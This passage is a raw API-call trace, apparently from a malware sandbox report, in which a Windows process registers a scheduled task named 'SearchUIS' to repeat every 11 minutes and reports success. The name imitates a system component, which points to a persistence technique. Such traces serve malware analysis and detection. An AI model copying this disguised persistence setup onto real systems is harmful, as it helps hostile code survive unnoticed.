StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0125.106] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.106] lstrlenW (lpString="st") returned 2 [0125.106] lstrlenW (lpString="st") returned 2 [0125.106] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.106] lstrlenW (lpString="f") returned 1 [0125.106] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.106] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|st|") returned 4 [0125.106] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.106] lstrlenW (lpString="|st|") returned 4 [0125.106] lstrlenW (lpString="|f|") returned 3 [0125.106] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0125.106] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.106] lstrlenW (lpString="sd") returned 2 [0125.106] lstrlenW (lpString="sd") returned 2 [0125.106] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.106] lstrlenW (lpString="f") returned 1 [0125.106] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.106] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sd|") returned 4 [0125.106] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.106] lstrlenW (lpString="|sd|") returned 4 [0125.106] lstrlenW (lpString="|f|") returned 3 [0125.106] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0125.107] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.107] lstrlenW (lpString="ed") returned 2 [0125.107] lstrlenW (lpString="ed") returned 2 [0125.107] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.107] lstrlenW (lpString="f") returned 1 [0125.107] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.107] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|ed|") returned 4 [0125.107] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.107] lstrlenW (lpString="|ed|") returned 4 [0125.107] lstrlenW (lpString="|f|") returned 3 [0125.107] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0125.107] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.107] lstrlenW (lpString="it") returned 2 [0125.107] lstrlenW (lpString="it") returned 2 [0125.107] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.107] lstrlenW (lpString="f") returned 1 [0125.107] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.107] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|it|") returned 4 [0125.107] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.107] lstrlenW (lpString="|it|") returned 4 [0125.107] lstrlenW (lpString="|f|") returned 3 [0125.107] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0125.107] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.107] lstrlenW (lpString="et") returned 2 [0125.107] lstrlenW (lpString="et") returned 2 [0125.107] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.107] lstrlenW (lpString="f") returned 1 [0125.108] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.108] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|et|") returned 4 [0125.108] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.108] lstrlenW (lpString="|et|") returned 4 [0125.108] lstrlenW (lpString="|f|") returned 3 [0125.108] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0125.108] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.108] lstrlenW (lpString="k") returned 1 [0125.108] lstrlenW (lpString="k") returned 1 [0125.108] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.108] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.108] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|k|") returned 3 [0125.108] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.108] lstrlenW (lpString="|k|") returned 3 [0125.108] lstrlenW (lpString="|f|") returned 3 [0125.108] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0125.108] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.108] lstrlenW (lpString="du") returned 2 [0125.108] lstrlenW (lpString="du") returned 2 [0125.108] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.108] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.108] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|du|") returned 4 [0125.108] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.108] lstrlenW (lpString="|du|") returned 4 [0125.109] lstrlenW (lpString="|f|") returned 3 [0125.109] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0125.109] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.109] lstrlenW (lpString="ri") returned 2 [0125.109] lstrlenW (lpString="ri") returned 2 [0125.109] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.109] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.109] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|ri|") returned 4 [0125.109] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.109] lstrlenW (lpString="|ri|") returned 4 [0125.109] lstrlenW (lpString="|f|") returned 3 [0125.109] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0125.109] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.109] lstrlenW (lpString="z") returned 1 [0125.109] lstrlenW (lpString="z") returned 1 [0125.109] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.109] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.109] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|z|") returned 3 [0125.109] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.109] lstrlenW (lpString="|z|") returned 3 [0125.109] lstrlenW (lpString="|f|") returned 3 [0125.109] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0125.109] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.109] lstrlenW (lpString="f") returned 1 [0125.110] lstrlenW (lpString="f") returned 1 [0125.110] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.110] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.110] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.110] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.110] lstrlenW (lpString="|f|") returned 3 [0125.110] lstrlenW (lpString="|f|") returned 3 [0125.110] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0125.110] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.110] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.110] GetProcessHeap () returned 0x21c24e90000 [0125.110] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b7d0 [0125.110] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.110] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0125.110] lstrlenW (lpString="MINUTE") returned 6 [0125.110] GetProcessHeap () returned 0x21c24e90000 [0125.110] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xe) returned 0x21c24e9aab0 [0125.110] GetThreadLocale () returned 0x409 [0125.110] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0125.111] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.111] GetProcessHeap () returned 0x21c24e90000 [0125.111] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x1fc) returned 0x21c24e9acb0 [0125.111] GetProcessHeap () returned 0x21c24e90000 [0125.111] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9ba70 [0125.111] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.111] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0125.111] lstrlenW (lpString="First") returned 5 [0125.111] GetProcessHeap () returned 0x21c24e90000 [0125.111] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xc) returned 0x21c24e9a930 [0125.111] GetProcessHeap () returned 0x21c24e90000 [0125.111] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b500 [0125.111] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.111] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0125.111] lstrlenW (lpString="Second") returned 6 [0125.111] GetProcessHeap () returned 0x21c24e90000 [0125.111] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xe) returned 0x21c24e9aa70 [0125.111] GetProcessHeap () returned 0x21c24e90000 [0125.111] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b620 [0125.111] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.111] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0125.111] lstrlenW (lpString="Third") returned 5 [0125.111] GetProcessHeap () returned 0x21c24e90000 [0125.112] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xc) returned 0x21c24e9aaf0 [0125.112] GetProcessHeap () returned 0x21c24e90000 [0125.112] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b410 [0125.112] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.112] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0125.112] lstrlenW (lpString="Fourth") returned 6 [0125.112] GetProcessHeap () returned 0x21c24e90000 [0125.112] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xe) returned 0x21c24e9a9d0 [0125.112] GetProcessHeap () returned 0x21c24e90000 [0125.112] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b650 [0125.112] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.112] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0125.112] lstrlenW (lpString="Last") returned 4 [0125.112] GetProcessHeap () returned 0x21c24e90000 [0125.112] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xa) returned 0x21c24e9aa90 [0125.112] lstrlenW (lpString="11") returned 2 [0125.112] _wtol (_String="11") returned 11 [0125.112] GetProcessHeap () returned 0x21c24e90000 [0125.112] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b4a0 [0125.112] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.112] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0125.113] lstrlenW (lpString="First") returned 5 [0125.113] GetProcessHeap () returned 0x21c24e90000 [0125.113] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xc) returned 0x21c24e9abf0 [0125.113] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.113] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0125.113] lstrlenW (lpString="Second") returned 6 [0125.113] GetProcessHeap () returned 0x21c24e90000 [0125.113] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xe) returned 0x21c24e9ab10 [0125.113] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.113] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0125.113] lstrlenW (lpString="Third") returned 5 [0125.113] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.113] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0125.113] lstrlenW (lpString="Fourth") returned 6 [0125.113] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.113] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0125.113] lstrlenW (lpString="Last") returned 4 [0125.113] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xef5d8ac120, cchData=128 | out: lpLCData="0") returned 2 [0125.114] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.114] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0125.114] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0125.114] GetProcessHeap () returned 0x21c24e90000 [0125.114] GetProcessHeap () returned 0x21c24e90000 [0125.114] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9a930) returned 1 [0125.114] GetProcessHeap () returned 0x21c24e90000 [0125.114] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9a930) returned 0xc [0125.114] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9a930) returned 1 [0125.114] GetProcessHeap () returned 0x21c24e90000 [0125.114] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x16) returned 0x21c24e9aa10 [0125.114] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xef5d8ac140, cchData=128 | out: lpLCData="0") returned 2 [0125.114] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.114] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0125.114] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0125.114] GetProcessHeap () returned 0x21c24e90000 [0125.114] GetProcessHeap () returned 0x21c24e90000 [0125.114] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9aa70) returned 1 [0125.114] GetProcessHeap () returned 0x21c24e90000 [0125.114] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9aa70) returned 0xe [0125.114] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9aa70) returned 1 [0125.114] GetProcessHeap () returned 0x21c24e90000 [0125.114] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x16) returned 0x21c24e9ab30 [0125.115] GetLocalTime (in: lpSystemTime=0xef5d8ac378 | out: lpSystemTime=0xef5d8ac378*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x30, wMilliseconds=0x1e7)) [0125.115] lstrlenW (lpString="") returned 0 [0125.115] GetLocalTime (in: lpSystemTime=0xef5d8acd68 | out: lpSystemTime=0xef5d8acd68*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x30, wMilliseconds=0x1e7)) [0125.115] lstrlenW (lpString="") returned 0 [0125.115] lstrlenW (lpString="") returned 0 [0125.115] lstrlenW (lpString="") returned 0 [0125.115] lstrlenW (lpString="") returned 0 [0125.115] lstrlenW (lpString="11") returned 2 [0125.115] _wtol (_String="11") returned 11 [0125.115] lstrlenW (lpString="") returned 0 [0125.115] lstrlenW (lpString="") returned 0 [0125.115] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0125.132] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0125.229] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xef5d8acac0 | out: ppv=0xef5d8acac0*=0x21c251356e0) returned 0x0 [0125.251] TaskScheduler:ITaskService:Connect (This=0x21c251356e0, serverName=0xef5d8acbb0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xef5d8acb80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xef5d8acb60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xef5d8acb40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0125.329] TaskScheduler:ITaskService:GetFolder (in: This=0x21c251356e0, Path=0x0, ppFolder=0xef5d8acca0 | out: ppFolder=0xef5d8acca0*=0x21c25135830) returned 0x0 [0125.331] TaskScheduler:ITaskService:NewTask (in: This=0x21c251356e0, flags=0x0, ppDefinition=0xef5d8acc78 | out: ppDefinition=0xef5d8acc78*=0x21c251358b0) returned 0x0 [0125.331] ITaskDefinition:get_Actions (in: This=0x21c251358b0, ppActions=0xef5d8acbc0 | out: ppActions=0xef5d8acbc0*=0x21c25135940) returned 0x0 [0125.331] IActionCollection:Create (in: This=0x21c25135940, Type=0, ppAction=0xef5d8acc00 | out: ppAction=0xef5d8acc00*=0x21c25135d50) returned 0x0 [0125.332] IUnknown:Release (This=0x21c25135d50) returned 0x1 [0125.332] IUnknown:Release (This=0x21c25135940) returned 0x1 [0125.332] ITaskDefinition:get_Triggers (in: This=0x21c251358b0, ppTriggers=0xef5d8ac770 | out: ppTriggers=0xef5d8ac770*=0x21c25135c00) returned 0x0 [0125.332] ITriggerCollection:Create (in: This=0x21c25135c00, Type=1, ppTrigger=0xef5d8ac758 | out: ppTrigger=0xef5d8ac758*=0x21c25135de0) returned 0x0 [0125.332] lstrlenW (lpString="11") returned 2 [0125.332] _vsnwprintf (in: _Buffer=0xef5d8ac6e0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xef5d8ac6d8 | out: _Buffer="PT11M") returned 5 [0125.332] ITrigger:get_Repetition (in: This=0x21c25135de0, ppRepeat=0xef5d8ac750 | out: ppRepeat=0xef5d8ac750*=0x21c25135e70) returned 0x0 [0125.333] IRepetitionPattern:put_Interval (This=0x21c25135e70, Interval="PT11M") returned 0x0 [0125.333] IUnknown:Release (This=0x21c25135e70) returned 0x1 [0125.333] _vsnwprintf (in: _Buffer=0xef5d8ac6a0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xef5d8ac678 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0125.333] ITrigger:put_StartBoundary (This=0x21c25135de0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0125.333] lstrlenW (lpString="") returned 0 [0125.333] lstrlenW (lpString="") returned 0 [0125.333] lstrlenW (lpString="") returned 0 [0125.333] lstrlenW (lpString="") returned 0 [0125.333] IUnknown:Release (This=0x21c25135de0) returned 0x1 [0125.333] IUnknown:Release (This=0x21c25135c00) returned 0x1 [0125.333] ITaskDefinition:get_Settings (in: This=0x21c251358b0, ppSettings=0xef5d8acc00 | out: ppSettings=0xef5d8acc00*=0x21c25135a80) returned 0x0 [0125.333] lstrlenW (lpString="") returned 0 [0125.333] IUnknown:Release (This=0x21c25135a80) returned 0x3 [0125.333] GetLocalTime (in: lpSystemTime=0xef5d8acab8 | out: lpSystemTime=0xef5d8acab8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x30, wMilliseconds=0x2c2)) [0125.333] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0125.334] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xef5d8acad0, nSize=0xef5d8acaa8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xef5d8acaa8) returned 0x1 [0125.334] ITaskDefinition:get_RegistrationInfo (in: This=0x21c251358b0, ppRegistrationInfo=0xef5d8acaa0 | out: ppRegistrationInfo=0xef5d8acaa0*=0x21c251359c0) returned 0x0 [0125.334] IRegistrationInfo:put_Author (This=0x21c251359c0, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0125.335] _vsnwprintf (in: _Buffer=0xef5d8acad0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xef5d8aca68 | out: _Buffer="2023-09-19T17:15:48") returned 19 [0125.335] IRegistrationInfo:put_Date (This=0x21c251359c0, Date="2023-09-19T17:15:48") returned 0x0 [0125.335] IUnknown:Release (This=0x21c251359c0) returned 0x1 [0125.335] malloc (_Size=0x18) returned 0x21c25135ef0 [0125.335] free (_Block=0x21c25135ef0) [0125.335] lstrlenW (lpString="") returned 0 [0125.335] malloc (_Size=0x18) returned 0x21c25135ef0 [0125.335] ITaskFolder:RegisterTaskDefinition (in: This=0x21c25135830, Path="SearchUIS", pDefinition=0x21c251358b0, flags=6, UserId=0xef5d8acd10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xef5d8accf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xef5d8acd30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xef5d8accd0 | out: ppTask=0xef5d8accd0*=0x21c25136fd0) returned 0x0 [0125.940] free (_Block=0x21c25135ef0) [0125.940] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.941] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0125.941] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0125.941] GetProcessHeap () returned 0x21c24e90000 [0125.941] GetProcessHeap () returned 0x21c24e90000 [0125.941] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9aaf0) returned 1 [0125.941] GetProcessHeap () returned 0x21c24e90000 [0125.941] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9aaf0) returned 0xc [0125.941] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9aaf0) returned 1 [0125.941] GetProcessHeap () returned 0x21c24e90000 [0125.941] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x82) returned 0x21c24eb5930 [0125.941] _vsnwprintf (in: _Buffer=0xef5d8ad380, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xef5d8acc18 | out: _Buffer="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n") returned 71 [0125.941] __iob_func () returned 0x7ffa7941e210 [0125.941] _fileno (_File=0x7ffa7941e240) returned -2 [0125.941] _errno () returned 0x21c25130840 [0125.941] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0125.941] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.941] lstrlenW (lpString="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n") returned 71 [0125.941] GetConsoleOutputCP () returned 0x0 [0125.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0125.941] GetConsoleOutputCP () returned 0x0 [0125.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0125.942] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 71 [0125.942] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0125.942] IUnknown:Release (This=0x21c25136fd0) returned 0x0 [0125.942] TaskScheduler:IUnknown:Release (This=0x21c251358b0) returned 0x0 [0125.942] TaskScheduler:IUnknown:Release (This=0x21c25135830) returned 0x0 [0125.942] TaskScheduler:IUnknown:Release (This=0x21c251356e0) returned 0x0 [0125.942] lstrlenW (lpString="") returned 0 [0125.942] lstrlenW (lpString="11") returned 2 [0125.942] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, 